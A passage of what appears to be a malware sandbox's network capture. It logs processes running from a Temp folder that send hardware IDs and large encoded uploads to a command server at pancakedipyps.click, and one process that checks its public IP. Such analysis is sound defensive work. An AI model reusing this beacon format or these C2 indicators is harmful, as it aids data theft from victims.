4e 71 54 32 31 44 50 39 62 35 4b 72 35 62 62 36 77 37 47 52 57 65 50 52 6d 45 4f 39 Data Ascii: 9476EJyzFrLFU85s77Cd+Eqk62m4LXDr5hY6djVC/bZzX+5B0zfWNYSU3eAtdps8SKFoefBuc6gmVb3kYoLr57SM6EfOs9bwhxEO727xHrvIJ+pt+G/yq+UXPXbn1e/19gx6VV5jxGOGFt16vb5d+cjg6qqrqWMutxW65HNBaTM1TThQHTdXsYQSTW0vcF+7SubrqPvt8OinFTn2IdI9pCVOPkHIo9owhRyNqT21DP9b5Kr5bb6w7GRWePRmEO9
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 4d 4a 4f 74 30 66 6c 6c 38 45 4e 71 43 6b 7a 58 37 79 4c 4e 4b 5a 6d 38 36 78 31 4b 4b 52 57 75 76 76 71 31 43 31 30 4e 73 34 39 31 59 36 67 52 2f 42 58 78 73 4d 38 76 36 4c 51 71 70 76 6a 65 66 39 72 6f 2f 42 72 5a 4a 57 38 63 44 59 5a 62 33 49 31 44 4c 71 53 7a 6a 4f 55 74 34 59 41 33 76 79 73 49 73 6c 74 47 48 56 6f 37 53 75 34 70 4c 78 78 77 53 30 68 73 55 58 71 5a 44 4d 66 2f 63 48 49 70 30 52 6a 67 30 44 62 66 4c 78 79 47 2f 32 4b 5a 61 78 70 71 6d 45 2f 49 4f 58 58 65 54 64 6c 45 4c 32 6b 4a 55 77 6f 52 39 44 6a 31 7a 63 44 51 77 6b 70 4c 76 62 65 71 67 6e 68 4b 71 70 72 76 53 43 37 35 68 61 36 39 53 53 56 66 6e 4d 78 54 54 74 55 54 62 4c 54 59 35 52 41 79 53 35 75 64 6c 7a 34 32 43 45 73 61 6a 2b 75 63 65 6b 30 46 6e 32 33 4a 6b 46 2b 4a 37 41 4e Data Ascii: MJOt0fll8ENqCkzX7yLNKZm86x1KKRWuvvq1C10Ns491Y6gR/BXxsM8v6LQqpvjef9ro/BrZJW8cDYZb3I1DLqSzjOUt4YA3vysIsltGHVo7Su4pLxxwS0hsUXqZDMf/cHIp0Rjg0DbfLxyG/2KZaxpqmE/IOXXeTdlEL2kJUwoR9Dj1zcDQwkpLvbeqgnhKqprvSC75ha69SSVfnMxTTtUTbLTY5RAyS5udlz42CEsaj+ucek0Fn23JkF+J7AN
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 65 56 63 6c 54 43 33 6d 6a 70 63 56 32 38 69 6a 56 6d 4f 75 75 6f 6f 4c 37 33 47 54 6b 33 35 74 43 6f 4d 2b 59 47 65 4a 41 66 4d 78 52 32 51 34 44 65 2f 4b 77 69 79 57 32 59 64 57 6a 74 4b 37 69 6b 76 48 48 42 4c 53 47 78 52 65 70 6b 4d 78 2f 39 77 63 69 6e 42 47 4f 44 51 4e 74 38 76 48 46 63 4f 55 73 6d 36 53 33 2f 4c 7a 42 74 5a 38 57 32 65 2b 77 53 4c 76 62 32 7a 6a 66 65 56 76 46 54 38 4d 51 52 41 75 4d 67 64 70 36 39 47 32 7a 70 4c 50 74 2b 6f 7a 6a 68 42 47 2f 6b 62 52 50 70 74 50 61 4f 4b 45 4a 4f 73 73 66 6c 6c 39 6d 4f 4c 2b 7a 78 58 71 6d 44 70 2b 33 71 4f 47 39 67 75 33 63 58 61 65 4a 31 55 53 38 7a 74 67 77 35 67 74 39 31 56 69 4f 55 51 4d 37 38 75 36 4c 66 4f 34 2f 6d 4b 69 69 6f 72 7a 4d 72 64 78 4f 71 63 6a 56 55 2f 61 47 68 6e 47 68 56 54 Data Ascii: eVclTC3mjpcV28ijVmOuuooL73GTk35tCoM+YGeJAfMxR2Q4De/KwiyW2YdWjtK7ikvHHBLSGxRepkMx/9wcinBGODQNt8vHFcOUsm6S3/LzBtZ8W2e+wSLvb2zjfeVvFT8MQRAuMgdp69G2zpLPt+ozjhBG/kbRPptPaOKEJOssfll9mOL+zxXqmDp+3qOG9gu3cXaeJ1US8ztgw5gt91ViOUQM78u6LfO4/mKiiorzMrdxOqcjVU/aGhnGhVT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49811	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:29 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0373B66O4IAXS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18132 Host: pancakedipyps.click
2024-12-17 21:06:29 UTC	15331	OUT	Data Raw: 2d 2d 30 33 37 33 42 36 36 4f 34 49 41 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 33 37 33 42 36 36 4f 34 49 41 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 33 37 33 42 36 36 4f 34 49 41 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 33 37 33 42 36 36 4f 34 49 41 58 Data Ascii: --0373B66O4IAXSContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--0373B66O4IAXSContent-Disposition: form-data; name="pid"2--0373B66O4IAXSContent-Disposition: form-data; name="lid"FATE99--test--0373B66O4IAX
2024-12-17 21:06:29 UTC	2801	OUT	Data Raw: 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaT
2024-12-17 21:06:32 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ovbmro4q5kgcajo6slv8mbfh0r; expires=Sat, 12-Apr-2025 14:53:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BQRx1EBbpRs8lnPhRQFLyIRTc%2FDUEzKygZdqqKIhd5HAlyZczDXBKO4CjsiEznNi7V457JTcB%2FDG3qlThE3wULgoSDNxyCvsp99dsD3Uc2VGtjPt0Mx%2FwgAMDsWQAEKy5f2Yu0fN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e0952fb518c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1470&rtt_var=595&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19092&delivery_rate=1772920&cwnd=148&unsent_bytes=0&cid=4f487d56423c2a1c&ts=3521&x=0"
2024-12-17 21:06:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:06:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49824	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:34 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=385WVT3ODM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8735 Host: pancakedipyps.click
2024-12-17 21:06:34 UTC	8735	OUT	Data Raw: 2d 2d 33 38 35 57 56 54 33 4f 44 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 38 35 57 56 54 33 4f 44 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 38 35 57 56 54 33 4f 44 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 33 38 35 57 56 54 33 4f 44 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --385WVT3ODMContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--385WVT3ODMContent-Disposition: form-data; name="pid"2--385WVT3ODMContent-Disposition: form-data; name="lid"FATE99--test--385WVT3ODMContent-D
2024-12-17 21:06:36 UTC	1041	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aab4hghfv0b1k8f0p77tghb1fb; expires=Sat, 12-Apr-2025 14:53:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3k40E5cADTkqOaIrcgQDdt4dGM%2BqGHIg5vlEhaP6c9ErBWuhEZ1U2vjpzcO8znePNtgWwU%2FFbu9RH%2BfvRvztUruzwebcC8RxVw3f759xR0eZ5uFJWgRoRD5sOjfw3H1z3U4%2BuCVg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e0b4a96a4396-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1744&rtt_var=872&sent=11&recv=14&lost=0&retrans=1&sent_bytes=4238&recv_bytes=9669&delivery_rate=117889&cwnd=252&unsent_bytes=0&cid=fc44ea46bf53c0fa&ts=2350&x=0"
2024-12-17 21:06:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:06:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49823	98.85.100.80	443	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:34 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-17 21:06:34 UTC	224	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:34 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-17 21:06:34 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49837	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:38 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CLM1F0XN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20376 Host: pancakedipyps.click
2024-12-17 21:06:38 UTC	15331	OUT	Data Raw: 2d 2d 43 4c 4d 31 46 30 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 4c 4d 31 46 30 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 4c 4d 31 46 30 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 43 4c 4d 31 46 30 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --CLM1F0XNContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--CLM1F0XNContent-Disposition: form-data; name="pid"3--CLM1F0XNContent-Disposition: form-data; name="lid"FATE99--test--CLM1F0XNContent-Dispositi
2024-12-17 21:06:38 UTC	5045	OUT	Data Raw: b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 00 Data Ascii: Mn 64F6(X&7~`aO@dR<x)
2024-12-17 21:06:41 UTC	1051	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i65r9e5gdg93vrkha429e5gskt; expires=Sat, 12-Apr-2025 14:53:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PqnQmNlRAmHfa%2B42AzLF2UXuIN9HHMWFU%2BbD%2FsaNJfX6IKO4tnHT%2Fg8v0dIoFSTtUbXhlfX3S8LiWIkW%2Brr6a6WQZGwIpz%2B9XGd%2B4id8IYNKFwb9KvVh0HJGv4mdZQl%2BcAS6ur74"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e0cd0c365e7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1629&rtt_var=638&sent=16&recv=27&lost=0&retrans=0&sent_bytes=2849&recv_bytes=21331&delivery_rate=1681059&cwnd=224&unsent_bytes=0&cid=14b486cc5549b642&ts=3500&x=0"
2024-12-17 21:06:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:06:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49859	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:45 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1U3R0LNZXVDDW7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: pancakedipyps.click
2024-12-17 21:06:45 UTC	1268	OUT	Data Raw: 2d 2d 31 55 33 52 30 4c 4e 5a 58 56 44 44 57 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 55 33 52 30 4c 4e 5a 58 56 44 44 57 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 55 33 52 30 4c 4e 5a 58 56 44 44 57 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 31 55 33 52 30 4c 4e 5a 58 Data Ascii: --1U3R0LNZXVDDW7Content-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--1U3R0LNZXVDDW7Content-Disposition: form-data; name="pid"1--1U3R0LNZXVDDW7Content-Disposition: form-data; name="lid"FATE99--test--1U3R0LNZX
2024-12-17 21:06:47 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qalegmhphruu3toubaqc5rhl6o; expires=Sat, 12-Apr-2025 14:53:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9QMEqW2U7kcu0xfpIgWSj2TGEzqnZQ6GhEr6EgX4w2ThG%2Fe4EfvUWXJz9yR46achD%2B%2ByMeHOxg6wfpxefdYwyqMZ07dphPcWlVY1nuNkOA2KbqcfYUKOhDu5PuXGU%2FDoCNYUiPb5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e0fc28cec402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1529&min_rtt=1494&rtt_var=630&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2184&delivery_rate=1645070&cwnd=166&unsent_bytes=0&cid=d8ecca46832676de&ts=1626&x=0"
2024-12-17 21:06:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:06:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49866	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:48 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AZED7V7KU0YX58ZR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570398 Host: pancakedipyps.click
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 2d 2d 41 5a 45 44 37 56 37 4b 55 30 59 58 35 38 5a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 5a 45 44 37 56 37 4b 55 30 59 58 35 38 5a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 5a 45 44 37 56 37 4b 55 30 59 58 35 38 5a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 41 5a 45 Data Ascii: --AZED7V7KU0YX58ZRContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--AZED7V7KU0YX58ZRContent-Disposition: form-data; name="pid"1--AZED7V7KU0YX58ZRContent-Disposition: form-data; name="lid"FATE99--test--AZE
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 95 bf ff ff ed 8d 88 6f b1 da 12 62 dc 06 0c 02 66 22 88 1f e8 ba 03 19 68 52 6c 43 76 7f 6c 30 86 56 f9 fa 19 81 a9 b1 35 f3 48 16 33 cf ed eb d0 17 96 02 6a 11 e1 df 40 a6 ef 66 5f f1 75 e0 d9 7c d9 66 b2 33 46 ef 48 7f b4 3c a3 46 01 7f 74 d9 45 1e 7d a1 d4 a5 49 b6 37 77 1e bd 40 49 80 5c bf 10 3d d9 8a 6c 7b 15 ff 96 31 ba d2 38 be d3 ad 08 ea 10 ce f5 72 12 04 be 93 19 ce 6e c7 35 8f 5b 30 79 1d 7d b4 10 dd 6e af 91 45 5f 86 e8 e9 11 1e 37 39 38 a1 ef ce 13 5c 38 88 44 a2 98 b6 c6 dc fc 16 74 e7 13 b8 4b 62 e2 00 78 e1 26 ca 58 cc 0f 5b 39 26 b5 dc e5 47 c5 22 fd 23 58 d7 c5 60 9b be 9d 99 b0 e1 32 3a 72 4d f9 2a 9f 1c 76 eb a6 bc 66 1a 2c 46 e9 5e d0 d6 cd 78 ec 19 35 89 be 97 99 11 41 c6 46 fe fb 79 32 90 6d d5 a8 4c 25 8e 8e f4 1a 27 ff c9 a0 b7 Data Ascii: obf"hRlCvl0V5H3j@f_u\|f3FH<FtE}I7w@I\=l{18rn5[0y}nE_798\8DtKbx&X[9&G"#X`2:rM*vf,F^x5AFy2mL%'
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: f5 4b 9c b0 bf 21 1f ea bb 97 b4 30 fa 34 9a d4 2f e4 e8 2d 78 f8 dd a1 ed 4c 6f 9b a9 9d 51 93 97 b6 36 e1 2e 78 fc 41 76 b6 cc 4e 42 49 fa 43 7d 1e 58 9d 1e 2e 2c dc ee ec cb 11 31 1d ba e3 0a c4 51 df b5 73 7f 10 f5 49 29 96 b4 e2 f5 64 2d 9e fd 52 d6 0f 52 3c fb cd 2a fd a5 12 26 6a dc 3f 35 d9 22 76 f3 d4 c2 17 43 ee 3c b9 21 01 db 1c 0d d2 a5 c2 09 bd 62 d3 47 fe 73 53 7e 5e 5b de 66 5c 6b 6e 94 0f db 42 c4 6a e9 1a d5 71 c6 25 4c 44 b0 c0 dc 83 c9 2d b1 e6 68 44 4b 21 fd 1b a3 3d f6 d6 b6 dd 32 2c 6e 30 06 0e 8d a2 5d 2d 7d f7 0d 13 e5 29 9a 47 ae 35 69 08 e9 fa a1 2b 42 76 90 db fe 61 52 06 65 13 07 a7 e8 fd bc af 7f 89 9a 51 0c 57 e9 b7 4d df 9d a7 2d 51 1c 37 ab 82 6d 7e bc a2 8f 9d c2 58 db bf b0 4e dc 59 54 cf ff 12 3c 52 b2 bb 8a bd 31 d2 50 Data Ascii: K!04/-xLoQ6.xAvNBIC}X.,1QsI)d-RR<*&j?5"vC<!bGsS~^[f\knBjq%LD-hDK!=2,n0]-})G5i+BvaReQWM-Q7m~XNYT<R1P
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 7b 02 0e c3 93 55 fb 6e ff 34 d1 50 c4 d8 fe 19 bc 36 fc cf 95 b9 17 25 b8 80 ef 13 d6 c3 fb 8b 2a 82 8a 99 3b 27 73 8d 39 f2 5c af 63 1b 4b d4 f8 c7 a7 e8 a5 d2 d2 f8 65 c5 81 90 8f cc ce ba b1 bb b5 63 fb e4 a2 ad ef 5f 91 b8 eb e1 b8 d8 5f 1a 1f 72 34 92 df 6f e6 40 ff da 84 fd bf e7 9c 74 26 37 76 0f bb f7 7b 21 b2 fc c2 33 9b bc ff a8 6d 36 25 c7 5a 3d b5 7e 63 cc 85 6b d6 87 5b ee a5 62 d5 da a5 73 1f e9 c3 73 84 11 be 4f 21 56 8e 51 3b 72 56 c8 87 ea e9 ae f9 c3 fe 09 d7 f7 e4 08 ee 92 df f1 8d 69 5f 7e 85 63 f2 4b 29 f9 7b 94 fb 0d ce 50 fb a7 4f d5 b3 57 c0 4b 62 53 a5 cd 4e b2 b5 49 6b 39 97 11 12 66 34 7d 2f 66 98 7d 9f 3e 0e 4b 96 4f 58 35 6a f3 ee ed 3a 8e ec 16 e6 9f 80 ba b3 28 1f 27 73 7e cd 8c a8 6a bd f9 90 c5 8c 4b 5c a5 80 19 4a 56 fd Data Ascii: {Un4P6%*;'s9\cKec__r4o@t&7v{!3m6%Z=~ck[bssO!VQ;rVi_~cK){POWKbSNIk9f4}/f}>KOX5j:('s~jK\JV
